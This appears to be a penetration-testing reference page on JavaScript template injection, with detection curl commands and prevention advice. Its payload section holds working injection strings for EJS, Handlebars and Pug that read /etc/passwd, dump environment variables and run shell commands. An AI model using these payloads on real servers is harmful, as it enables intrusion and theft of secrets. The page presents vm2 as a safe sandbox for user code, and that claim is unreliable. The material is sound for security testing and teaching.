Page cover
githubEdit

jsJavaScript Template Injection

JavaScript template engines can execute code when user input is rendered without proper escaping.

Engine
Vulnerable Syntax

EJS

<%= code %> or <%- code %>

Handlebars

{{code}} or {{{code}}}

Pug

#{code} or !{code}

Angular

{{code}}

Vue.js

{{code}}

chevron-rightDetectionhashtag
circle-info

Step 1: Identify Template Engine

Check error messages
curl "https://target.com/?name=<>" -v
Check HTTP headers
curl -I https://target.com
circle-info

Step 2: Test for Execution

For EJS:
# Test arithmetic
curl "https://target.com/?name=<%=7*7%>"

# Test code execution
curl "https://target.com/?name=<%=global.process.version%>"
For Handlebars:
# Test with helpers
curl "https://target.com/?name={{7*7}}"

# Handlebars 3.x payload
curl "https://target.com/?name={{this.constructor.constructor('return process.env')()}}"
For Pug:
curl "https://target.com/?name=#{7*7}"
circle-info

Testing Checklist

chevron-rightCommon Payloads by Enginehashtag
circle-info

EJS (Server-side)

Read file
<%=global.process.mainModule.require('fs').readFileSync('/etc/passwd').toString()%>
<%=global.process.mainModule.require('child_process').execSync('id').toString()%>
Access environment variables
<%=JSON.stringify(process.env)%>
circle-info

Handlebars

Handlebars 3.x - RCE
{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return require('child_process').exec('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}
circle-info

Pug (formerly Jade)

Execute code
#{function(){return global.process.mainModule.require('child_process').execSync('id').toString()}()}
chevron-rightPreventionhashtag
circle-info

Method 1: Use Auto-Escaping

Vulnerable - EJS
<%- user.name %>
Good practice:
<%= user.name %>
circle-info

Method 2: Separate Data from Templates

Vulnerable - DON'T build templates from user input
let template = req.query.template;
res.render(template, {data: data});
Use fixed templates
res.render('profile', {name: sanitize(req.query.name)});
circle-info

Method 3: Content Security Policy

Add CSP headers
app.use((req, res, next) => {
    res.setHeader(
        "Content-Security-Policy",
        "default-src 'self'; script-src 'self'"
    );
    next();
});
circle-info

Method 4: Sandboxing

// Use VM2 for safe execution
const {VM} = require('vm2');
const vm = new VM({timeout: 1000});

// User input runs in sandbox
vm.run(user_code);

Last updated